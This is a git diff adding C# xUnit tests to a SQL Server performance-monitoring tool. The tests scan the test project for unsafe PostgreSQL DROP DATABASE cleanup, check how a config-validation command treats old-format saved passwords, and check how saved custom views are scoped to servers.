+        Assert.True(sites >= 9, $"the scan found {sites} PostgreSQL DROP DATABASE site(s); the project has at least 9, so the match found nothing.");
+        Assert.True(pooled.Count == 0,
+            "These DROP DATABASE statements run where no unpooled connection is in sight (#5549). A pooled connection returns the "
+            + "backend that ran the drop to the pool every live test draws from, and a TimescaleDB job run on it crashed. Open the "
+            + "connection with ScratchPostgres.UnpooledAdminConnectionString(...), or add the file to Exceptions with its reason: "
+            + string.Join(", ", pooled));
+    }
+
+    [Fact]
+    public void EveryPostgresDropInTheTestProject_QuiescesTheTimescaleJobsFirst()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.True(directory is not null, "could not find Darling/Darling.Tests from the test binary.");
+
+        var files = Directory.EnumerateFiles(directory!, "*.cs", SearchOption.AllDirectories)
+            .Select(path => (Name: Path.GetRelativePath(directory!, path).Replace('\\', '/'), Path: path))
+            .Where(found => !found.Name.Split('/').Any(segment => segment is "bin" or "obj"))
+            .Select(found => (found.Name, File.ReadAllText(found.Path)))
+            .ToList();
+
+        var (sites, unquiesced) = ScanForQuiesce(files);
+
+        Assert.True(sites >= 9, $"the scan found {sites} PostgreSQL DROP DATABASE site(s); the project has at least 9, so the match found nothing.");
+        Assert.True(unquiesced.Count == 0,
+            "These DROP DATABASE statements are not in a method that calls ScratchPostgres.QuiesceTimescaleJobsAsync (#5549). A drop "
+            + "while a TimescaleDB job worker runs in the database kills the worker, and a job run next to a drop crashed a backend. "
+            + "Call the helper before the drop, or add File.cs::Method to QuiesceExceptions with the reason the database holds no job: "
+            + string.Join(", ", unquiesced));
+    }
+
+    [Fact]
+    public void TheQuiesceExceptions_NameRealFiles_AndEachOneStillHoldsTheDropText()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.True(directory is not null, "could not find Darling/Darling.Tests from the test binary.");
+
+        foreach (var (key, reason) in QuiesceExceptions)
+        {
+            Assert.False(string.IsNullOrWhiteSpace(reason), $"{key} is allowed without a reason.");
+            var parts = key.Split("::");
+            var path = Path.Combine(directory!, parts[0]);
+            Assert.True(File.Exists(path), $"{parts[0]} is in QuiesceExceptions but is not in the test project; remove the entry.");
+            Assert.False(Exceptions.ContainsKey(parts[0]), $"{parts[0]} is already skipped by Exceptions; remove the entry from QuiesceExceptions.");
+            var text = File.ReadAllText(path);
+            Assert.True(text.Contains("DROP DATABASE", StringComparison.OrdinalIgnoreCase),
+                $"{parts[0]} no longer holds DROP DATABASE; remove {key} from QuiesceExceptions.");
+            if (parts.Length > 1)
+            {
+                Assert.True(Regex.IsMatch(text, @"\b" + Regex.Escape(parts[1]) + @"\s*(?:<[^()]*>)?\s*\("),
+                    $"{parts[0]} no longer declares {parts[1]}; remove {key} from QuiesceExceptions.");
+                Assert.True(MethodStillSkipsQuiesce(parts[1], text),
+                    $"{parts[1]} in {parts[0]} no longer holds a DROP DATABASE that skips the quiesce; remove {key} from QuiesceExceptions.");
+            }
+        }
+    }
+
+    /// <summary>True when <paramref name="method"/> in <paramref name="source"/> holds a drop with no quiesce call before it, so its allow-list entry is still needed.</summary>
+    private static bool MethodStillSkipsQuiesce(string method, string source) =>
+        FindDropSites(source).Any(site => site.MemberName == method && !site.QuiescedBefore);
+
+    [Fact]
+    public void ADropWithoutTheQuiesce_IsReported_AndOneWithItOrAnAllowListedOneIsNot()
+    {
+        const string quiesced =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string plainBare =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string forceBare =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n} WITH (FORCE)\", admin);\n    }\n}\n";
+        /* A quiesce in another method of the file does not excuse this one. */
+        const string quiesceElsewhere =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n\n"
+            + "    public async Task Other()\n    {\n        await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n    }\n}\n";
+        const string commentOnlyQuiesce =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        // QuiesceTimescaleJobsAsync(cs, n) would go here\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string commentOnly = "public class A\n{\n    // DROP DATABASE x\n    /// DROP DATABASE y\n}\n";
+        var allowListed = QuiesceExceptions.Keys.First();
+        var allowListedFile = allowListed.Split("::")[0];
+        var allowListedMethod = allowListed.Split("::")[1];
+        var allowListedSource =
+            "public class A\n{\n    public async Task " + allowListedMethod + "()\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+
+        Assert.Empty(ScanForQuiesce([("Q.cs", quiesced)]).Unquiesced);
+        Assert.Equal(["P.cs:5"], ScanForQuiesce([("P.cs", plainBare)]).Unquiesced);
+        Assert.Equal(["F.cs:5"], ScanForQuiesce([("F.cs", forceBare)]).Unquiesced);
+        Assert.Equal(["E.cs:5"], ScanForQuiesce([("E.cs", quiesceElsewhere)]).Unquiesced);
+        Assert.Equal(["M.cs:6"], ScanForQuiesce([("M.cs", commentOnlyQuiesce)]).Unquiesced);
+        Assert.Equal(0, ScanForQuiesce([("C.cs", commentOnly)]).Sites);
+        /* The allow-list names a file and a method: that method in that file is excused, the same method in another file is not. */
+        Assert.Empty(ScanForQuiesce([(allowListedFile, allowListedSource)]).Unquiesced);
+        Assert.Equal(["Other.cs:5"], ScanForQuiesce([("Other.cs", allowListedSource)]).Unquiesced);
+        /* A SQL Server or fixture file is outside the rule altogether (Exceptions). */
+        Assert.Equal(0, ScanForQuiesce([("DarlingCollectorRunnerTests.cs", plainBare)]).Sites);
+    }
+
+    /// <summary>
+    /// The ways the quiesce rule once passed a drop it should have failed: a lowercase <c>drop database</c>, a quiesce call
+    /// that is only text (a string literal), a quiesce that comes after the drop, a member with no access modifier, a
+    /// local function at a deeper indent, and an expression-bodied neighbour that stretched a region over two members.
+    /// Each sample is a whole source file; the line number in each expectation is the drop line.
+    /// </summary>
+    [Fact]
+    public void TheQuiesceRule_CannotBePassedBy_ALowercaseDrop_AStringCall_ALateCall_OrANeighbouringMember()
+    {
+        const string lowercase =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"drop database if exists {n}\", admin);\n    }\n}\n";
+        /* The string also holds a } so a scan that reads literals as code would close the member early. */
+        const string quiesceInString =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        var s = \"await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n); }\";\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string quiesceAfterTheDrop =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n"
+            + "        await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n    }\n}\n";
+        /* The member above quiesces; the one with no access modifier does not, and one member must not excuse the other. */
+        const string noModifier =
+            "public class A\n{\n    public async Task Other()\n    {\n"
+            + "        await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n    }\n\n"
+            + "    Task Go()\n    {\n        return Run($\"DROP DATABASE IF EXISTS {n}\");\n    }\n}\n";
+        /* The enclosing method quiesces, but the local function that drops does not. */
+        const string localFunctionWithout =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n"
+            + "        async Task Drop()\n        {\n"
+            + "            await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n        }\n"
+            + "        await Drop();\n    }\n}\n";
+        const string localFunctionWith =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        async Task Drop()\n        {\n"
+            + "            await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n"
+            + "            await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n        }\n"
+            + "        await Drop();\n    }\n}\n";
+        /* The expression-bodied drop ends at its own semicolon, not at the next member's closing brace. */
+        const string expressionBodiedNeighbour =
+            "public class A\n{\n    public Task Drop() => admin.RunAsync(\"DROP DATABASE IF EXISTS x\");\n\n"
+            + "    public async Task Other()\n    {\n        await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n    }\n}\n";
+        const string expressionBodiedQuiesced =
+            "public class A\n{\n    public Task Drop() => ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n)"
+            + ".ContinueWith(_ => admin.RunAsync(\"DROP DATABASE IF EXISTS x\"));\n}\n";
+        /* The shape every LiveStoreCleanup drop has: the quiesce and the drop sit in one lambda inside the member. */
+        const string insideLambda =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await LiveStoreCleanup.RunAsync(cs, ok, async (cleanup, ct) =>\n        {\n"
+            + "            await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, n);\n"
+            + "            await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", cleanup);\n        });\n    }\n}\n";
+
+        Assert.Equal(["L.cs:5"], ScanForQuiesce([("L.cs", lowercase)]).Unquiesced);
+        Assert.Equal(["L.cs:5"], Scan([("L.cs", lowercase)]).Pooled);
+        Assert.Equal(["S.cs:6"], ScanForQuiesce([("S.cs", quiesceInString)]).Unquiesced);
+        Assert.Equal(["T.cs:5"], ScanForQuiesce([("T.cs", quiesceAfterTheDrop)]).Unquiesced);
+        Assert.Equal(["N.cs:10"], ScanForQuiesce([("N.cs", noModifier)]).Unquiesced);
+        Assert.Equal(["D.cs:8"], ScanForQuiesce([("D.cs", localFunctionWithout)]).Unquiesced);
+        Assert.Empty(ScanForQuiesce([("W.cs", localFunctionWith)]).Unquiesced);
+        Assert.Equal(["X.cs:3"], ScanForQuiesce([("X.cs", expressionBodiedNeighbour)]).Unquiesced);
+        Assert.Empty(ScanForQuiesce([("Y.cs", expressionBodiedQuiesced)]).Unquiesced);
+        Assert.Empty(ScanForQuiesce([("Z.cs", insideLambda)]).Unquiesced);
+    }
+
+    /// <summary>A generic method's name is found (<c>Name&lt;T&gt;(</c>), so an allow-list entry for it matches and its still-needed check works.</summary>
+    [Fact]
+    public void AGenericMethod_OnTheAllowList_IsExcused_AndFoundByTheStaleEntryCheck()
+    {
+        var allowListed = QuiesceExceptions.Keys.First();
+        var allowListedFile = allowListed.Split("::")[0];
+        var allowListedMethod = allowListed.Split("::")[1];
+        var generic =
+            "public class A\n{\n    public async Task " + allowListedMethod + "<T>() where T : class\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+
+        Assert.Empty(ScanForQuiesce([(allowListedFile, generic)]).Unquiesced);
+        Assert.Equal(["Other.cs:5"], ScanForQuiesce([("Other.cs", generic)]).Unquiesced);
+        Assert.True(MethodStillSkipsQuiesce(allowListedMethod, generic));
+        Assert.False(MethodStillSkipsQuiesce("SomeOtherMethod", generic));
+    }
+
+    [Fact]
+    public void TheExceptions_NameRealFiles_AndEachOneStillHoldsTheDropText()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.True(directory is not null, "could not find Darling/Darling.Tests from the test binary.");
+
+        foreach (var (file, reason) in Exceptions)
+        {
+            Assert.False(string.IsNullOrWhiteSpace(reason), $"{file} is allowed without a reason.");
+            var path = Path.Combine(directory!, file);
+            Assert.True(File.Exists(path), $"{file} is in Exceptions but is not in the test project; remove the entry.");
+            Assert.True(File.ReadAllText(path).Contains("DROP DATABASE", StringComparison.OrdinalIgnoreCase),
+                $"{file} no longer holds DROP DATABASE; remove it from Exceptions.");
+        }
+    }
+
+    [Fact]
+    public void APooledDrop_IsReported_AndAnUnpooledOrHandedInOneIsNot()
+    {
+        const string pooledOwn =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var admin = new NpgsqlConnection(cs);\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string unpooledOwn =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(cs));\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string explicitOff =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        var b = new NpgsqlConnectionStringBuilder(cs) { Pooling = false };\n"
+            + "        await using var admin = new NpgsqlConnection(b.ConnectionString);\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n}\n";
+        const string unpooledElsewhereInFile =
+            "public class A\n{\n    public async Task Go()\n    {\n"
+            + "        await using var admin = new NpgsqlConnection(cs);\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", admin);\n    }\n\n"
+            + "    public string Other() => ScratchPostgres.UnpooledAdminConnectionString(cs);\n}\n";
+        const string handedIn =
+            "public class A\n{\n    private static async Task Drop(NpgsqlConnection c)\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", c);\n    }\n\n"
+            + "    public string Other() => ScratchPostgres.UnpooledAdminConnectionString(cs);\n}\n";
+        const string handedInNoEvidence =
+            "public class A\n{\n    private static async Task Drop(NpgsqlConnection c)\n    {\n"
+            + "        await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {n}\", c);\n    }\n}\n";
+        const string commentOnly = "public class A\n{\n    // DROP DATABASE x\n    /// DROP DATABASE y\n}\n";
+
+        Assert.Equal(["P.cs:6"], Scan([("P.cs", pooledOwn)]).Pooled);
+        Assert.Empty(Scan([("U.cs", unpooledOwn)]).Pooled);
+        Assert.Empty(Scan([("E.cs", explicitOff)]).Pooled);
+        /* An unrelated unpooled helper elsewhere in the file does not excuse a drop that opens its own pooled connection. */
+        Assert.Equal(["F.cs:6"], Scan([("F.cs", unpooledElsewhereInFile)]).Pooled);
+        Assert.Empty(Scan([("H.cs", handedIn)]).Pooled);
+        Assert.Equal(["N.cs:5"], Scan([("N.cs", handedInNoEvidence)]).Pooled);
+        Assert.Equal(0, Scan([("C.cs", commentOnly)]).Sites);
+        Assert.Equal(0, Scan([("DarlingCollectorRunnerTests.cs", pooledOwn)]).Sites);
+    }
+
+    private static string? FindTestProjectDirectory()
+    {
+        var directory = new DirectoryInfo(AppContext.BaseDirectory);
+        for (var i = 0; i < 10 && directory is not null; i++)
+        {
+            if (File.Exists(Path.Combine(directory.FullName, "PerformanceMonitor.sln")))
+            {
+                var source = Path.Combine(directory.FullName, "Darling", "Darling.Tests");
+                return Directory.Exists(source) ? source : null;
+            }
+
+            directory = directory.Parent;
+        }
+
+        return null;
+    }
+}
diff --git a/Darling/Darling.Tests/ValidateConfigOldFormatPasswordLiveTests.cs b/Darling/Darling.Tests/ValidateConfigOldFormatPasswordLiveTests.cs
new file mode 100644
index 0000000000..74973ce77e
--- /dev/null
+++ b/Darling/Darling.Tests/ValidateConfigOldFormatPasswordLiveTests.cs
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another one.
+   The role it connects as is created for the fact and dropped in its cleanup. */
+
+/// <summary>
+/// <c>--validate-config</c> against a store (#5366): a connection that owns the pin table reads the pins, so a pinned
+/// old-format saved password opens and is tested; a connection that is not the owner cannot read them, so the verb says
+/// it could not check old-format passwords and leaves those servers out, and never says one needs to be entered again.
+/// </summary>
+public sealed class ValidateConfigOldFormatPasswordLiveTests
+{
+    private const string Plain = "p@ss-not-real";
+    private const int ServerId = 5366101;
+
+    /// <summary>An old-format value is any text that is neither a reference nor sealed; it is not opened until a server's
+    /// password is resolved, and the registry read does not do that.</summary>
+    private const string OldFormatText = "AAAAAAAAAAAAAAAAAAAAAAAA";
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct, params (string Name, NpgsqlDbType Type, object Value)[] parameters)
+    {
+        await using var command = source.CreateCommand(sql);
+        foreach (var (name, type, value) in parameters)
+        {
+            command.Parameters.Add(new NpgsqlParameter(name, type) { Value = value });
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /* The server is on this machine at a closed port, so the probe the verb runs on it fails at once. */
+    private static Task InsertServerAsync(NpgsqlDataSource owner, string stored, CancellationToken ct) => ExecAsync(
+        owner,
+        "INSERT INTO config_monitored_servers (server_id, name, host, port, auth, username, encrypted_password) " +
+        $"VALUES ({ServerId}, 'alpha', '127.0.0.1', 1, 'sql', 'monitor', @stored)",
+        ct,
+        ("stored", NpgsqlDbType.Text, stored));
+
+    private static string WriteConfig(DirectoryInfo root, string connectionString)
+    {
+        var path = Path.Combine(root.FullName, "darling.json");
+        File.WriteAllText(path, "{ \"postgres\": { \"connectionString\": " + JsonSerializer.Serialize(connectionString)
+            + " }, \"servers\": [ { \"name\": \"file-only\", \"host\": \"file-only.example.test\" } ] }");
+        return path;
+    }
+
+    private static async Task<(int Exit, string Output, string Error)> RunVerbAsync(string configPath, CancellationToken ct)
+    {
+        var output = new StringWriter();
+        var error = new StringWriter();
+        var exit = await DarlingCliCommands.ValidateConfigAsync(configPath, output, error, ct);
+        return (exit, output.ToString(), error.ToString());
+    }
+
+    [Fact]
+    public async Task AsTheStoreOwner_APinnedOldFormatPasswordIsOpenedAndTested_AndNeverReportedAsNeedingToBeEnteredAgain()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "Old-format values are Windows DPAPI values.");
+        var ct = TestContext.Current.CancellationToken;
+        var stored = DarlingSecrets.Protect(Plain);
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratch;
+        await using var ownerHolder = owner;
+        var root = Directory.CreateTempSubdirectory("darling-validate-pins-");
+        var ok = false;
+        try
+        {
+            await InsertServerAsync(owner, stored, ct);
+            var config = WriteConfig(root, ownerString);
+
+            /* Without a pin the value cannot be opened here, and the verb says so: the control for the run below. */
+            var unpinned = await RunVerbAsync(config, ct);
+            Assert.Contains("Validating connectivity to 1 server(s)", unpinned.Output, StringComparison.Ordinal);
+            Assert.Contains("is in the old format", unpinned.Output, StringComparison.Ordinal);
+
+            /* The pin the upgrade writes: the value's hash and the hash of the connection as the row holds it. */
+            await using (var connection = await owner.OpenConnectionAsync(ct))
+            {
+                var row = (await StoreConfigProvider.ReadMonitoredServersAsync(connection, new DarlingConfig(), ct))[0];
+                await ExecAsync(
+                    owner,
+                    "INSERT INTO config.legacy_secret_pin (server_id, slot, value_sha256, binding_sha256) VALUES (@id, 'server', @value, @binding)",
+                    ct,
+                    ("id", NpgsqlDbType.Integer, ServerId),
+                    ("value", NpgsqlDbType.Bytea, SHA256.HashData(Encoding.UTF8.GetBytes(stored))),
+                    ("binding", NpgsqlDbType.Bytea, row.SecretBinding.LegacyPinHash()));
+            }
+
+            var pinned = await RunVerbAsync(config, ct);
+            Assert.Contains("Validating connectivity to 1 server(s)", pinned.Output, StringComparison.Ordinal);
+            Assert.DoesNotContain("could not be checked", pinned.Output, StringComparison.Ordinal);
+            Assert.DoesNotContain("old format", pinned.Output, StringComparison.Ordinal);
+            Assert.DoesNotContain("entered again", pinned.Output + pinned.Error, StringComparison.Ordinal);
+            Assert.Contains("[FAIL] alpha", pinned.Output, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, () =>
+            {
+                root.Delete(true);
+                return Task.CompletedTask;
+            });
+        }
+    }
+
+    [Fact]
+    public async Task AsARoleThatIsNotTheStoreOwner_TheVerbSaysItCouldNotCheckOldFormatPasswords_AndNeverSaysOneNeedsToBeEnteredAgain()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratch;
+        await using var ownerHolder = owner;
+        var role = "val_cfg_" + Guid.NewGuid().ToString("N")[..8];
+        var root = Directory.CreateTempSubdirectory("darling-validate-pins-");
+        var ok = false;
+        try
+        {
+            /* A login that can read the registry (the service's other roles can) but owns nothing in the store. */
+            await ExecAsync(owner, $"CREATE ROLE {role} LOGIN NOSUPERUSER PASSWORD '{ServerAddViewerRoleLiveTests.RolePassword}'", ct);
+            await ExecAsync(owner, $"GRANT USAGE ON SCHEMA config TO {role}", ct);
+            await ExecAsync(owner, $"GRANT SELECT ON config.config_monitored_servers TO {role}", ct);
+            await InsertServerAsync(owner, OldFormatText, ct);
+            var viewerString = new NpgsqlConnectionStringBuilder(ownerString)
+            {
+                Username = role,
+                Password = ServerAddViewerRoleLiveTests.RolePassword,
+            }.ConnectionString;
+
+            var result = await RunVerbAsync(WriteConfig(root, viewerString), ct);
+
+            Assert.Contains(DarlingCliCommands.OldFormatPasswordsNotCheckedText(1), result.Output, StringComparison.Ordinal);
+            Assert.Contains("Validating connectivity to 0 server(s)", result.Output, StringComparison.Ordinal);
+            Assert.DoesNotContain("entered again", result.Output + result.Error, StringComparison.Ordinal);
+            Assert.DoesNotContain("[FAIL] alpha", result.Output, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () =>
+            {
+                root.Delete(true);
+                await ExecAsync(owner, $"DROP OWNED BY {role}; DROP ROLE IF EXISTS {role};", CancellationToken.None);
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewSavedServerScopeTests.cs b/Darling/Darling.Tests/ViewSavedServerScopeTests.cs
new file mode 100644
index 0000000000..3f92bd90f0
--- /dev/null
+++ b/Darling/Darling.Tests/ViewSavedServerScopeTests.cs
@@ -0,0 +1,180 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// W4 of the morning walk: a custom view saved with a server (its server-dimension variable's default) opened on
+/// "All servers (fleet)" and read the whole fleet, because the scope control always seeded "All" and the run body's
+/// explicit server "All" beat the variable on the service side. The shipped <c>views.js</c> seeding is run under Node
+/// (<c>view-scope-harness.mjs</c>); Node is skipped when it is not installed.
+/// </summary>
+public sealed class ViewSavedServerScopeTests
+{
+    private static bool TryRun(out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "view-scope-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "views.js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped view-scope code cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the view-scope harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the view-scope harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static string[] Names(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void AViewSavedWithAServer_OpensOnThatServer()
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal(new[] { "sql2025" }, Names(r.GetProperty("byName")));
+        Assert.Equal(new[] { "sql2022" }, Names(r.GetProperty("byDisplayName")));
+        Assert.Equal(new[] { "sql2025", "sql2022" }, Names(r.GetProperty("list")));
+    }
+
+    [Theory]
+    [InlineData("none")]
+    [InlineData("all")]
+    [InlineData("blank")]
+    [InlineData("reference")]
+    [InlineData("unknown")]
+    [InlineData("twoServerVariables")]
+    [InlineData("otherDimension")]
+    public void AViewWithNoUsableSavedServer_StaysOnTheWholeFleet(string scenario)
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal("All", r.GetProperty(scenario).GetString());
+    }
+
+    // ---- W4b: a view with no server variable whose every panel filters to one server (custom view 3's shape) ----
+
+    [Fact]
+    public void AViewWhoseEveryPanelFiltersToOneServer_OpensOnThatServer()
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal("sql2025", r.GetProperty("panelServerOfWholeView").GetString());
+        Assert.Equal(new[] { "sql2025" }, Names(r.GetProperty("panelSeed")));
+        // an explicit server variable still decides first; no panel server leaves the fleet
+        Assert.Equal(new[] { "sql2022" }, Names(r.GetProperty("panelSeedVariableWins")));
+        Assert.Equal("All", r.GetProperty("panelSeedNone").GetString());
+        Assert.Contains("every panel is set to SQL2025", r.GetProperty("noteOnServer").GetString());
+    }
+
+    [Theory]
+    [InlineData("panelServerMixed")]
+    [InlineData("panelServerOnePanelUnfiltered")]
+    [InlineData("panelServerTwoServerFilters")]
+    [InlineData("panelServerInOp")]
+    [InlineData("panelServerNotInFleet")]
+    [InlineData("panelServerNoComposed")]
+    public void APanelSetThatIsNotOneServerEverywhere_HasNoPanelServer(string scenario)
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal(JsonValueKind.Null, r.GetProperty(scenario).ValueKind);
+    }
+
+    [Fact]
+    public void ChoosingAnotherServer_ReplacesThePanelsServerFilter_InsteadOfEmptyingThem()
+    {
+        if (!TryRun(out var r)) return;
+        // still on the panels' server: the panel runs as saved (both filters kept)
+        Assert.Equal(2, r.GetProperty("underSame").GetInt32());
+        // another server, or All servers: only the server filter goes, the other filters stay
+        Assert.Equal(new[] { "database" }, Names(r.GetProperty("underOther")));
+        Assert.Equal(0, r.GetProperty("underAll").GetInt32());
+        // a panel that is not composed passes through, and read panels do not stop a view from having a panel server
+        Assert.Equal("get_x", r.GetProperty("underReadPanel").GetProperty("read").GetString());
+        Assert.Equal("sql2025", r.GetProperty("panelServerReadPanelsIgnored").GetString());
+        Assert.Contains("Showing your pick instead of SQL2025", r.GetProperty("noteOnOther").GetString());
+    }
+
+    // ---- review round (L6, L7): an explicit server variable decides first; "your pick" only when the reader picked; one eq only ----
+
+    [Theory]
+    [InlineData("panelSeedVariableAll")]
+    [InlineData("panelSeedVariableReference")]
+    [InlineData("panelSeedVariableUnknown")]
+    public void AnExplicitServerVariable_AllIncluded_DecidesBeforeThePanelServerSeeds(string scenario)
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal("All", r.GetProperty(scenario).GetString());
+        // a variable of another dimension is not a server variable: the panels' server still seeds
+        Assert.Equal(new[] { "sql2025" }, Names(r.GetProperty("panelSeedOtherDimensionVariable")));
+    }
+
+    [Fact]
+    public void TheNoteSaysYourPick_OnlyWhenTheReaderPicked_AndNamesTheViewsOwnSettingOtherwise()
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Contains("Showing your pick instead of SQL2025", r.GetProperty("noteOnOther").GetString());
+        var variableNote = r.GetProperty("noteOnOtherNotPicked").GetString()!;
+        Assert.DoesNotContain("your pick", variableNote, System.StringComparison.Ordinal);
+        Assert.Contains("this view's own setting", variableNote, System.StringComparison.Ordinal);
+        Assert.Contains("SQL2025", variableNote, System.StringComparison.Ordinal);
+
+        var flags = r.GetProperty("pickedFlags");
+        Assert.False(flags.GetProperty("fresh").GetBoolean());
+        Assert.False(flags.GetProperty("variable").GetBoolean());
+        Assert.True(flags.GetProperty("remembered").GetBoolean());
+        Assert.False(flags.GetProperty("rememberedHoursOnly").GetBoolean());
+    }
+
+    [Theory]
+    [InlineData("noteOnAllNotPicked")]
+    [InlineData("noteOnBlankNotPicked")]
+    public void WhenTheViewsOwnServerSettingIsAllOrBlank_TheNoteSaysAllServers_NotAServer(string scenario)
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal(
+            "Showing all servers, as this view's own setting says, instead of SQL2025, the server this view's panels are set to.",
+            r.GetProperty(scenario).GetString());
+    }
+
+    [Theory]
+    [InlineData("panelServerEqPlusIn")]
+    [InlineData("panelServerEqPlusNeq")]
+    public void APanelWithAnyServerFilterBesidesTheOneEq_HasNoPanelServer(string scenario)
+    {
+        if (!TryRun(out var r)) return;
+        Assert.Equal(JsonValueKind.Null, r.GetProperty(scenario).ValueKind);
+        // a filter on another dimension beside the eq is fine
+        Assert.Equal("sql2025", r.GetProperty("panelServerEqPlusOtherDimension").GetString());
+    }
+}
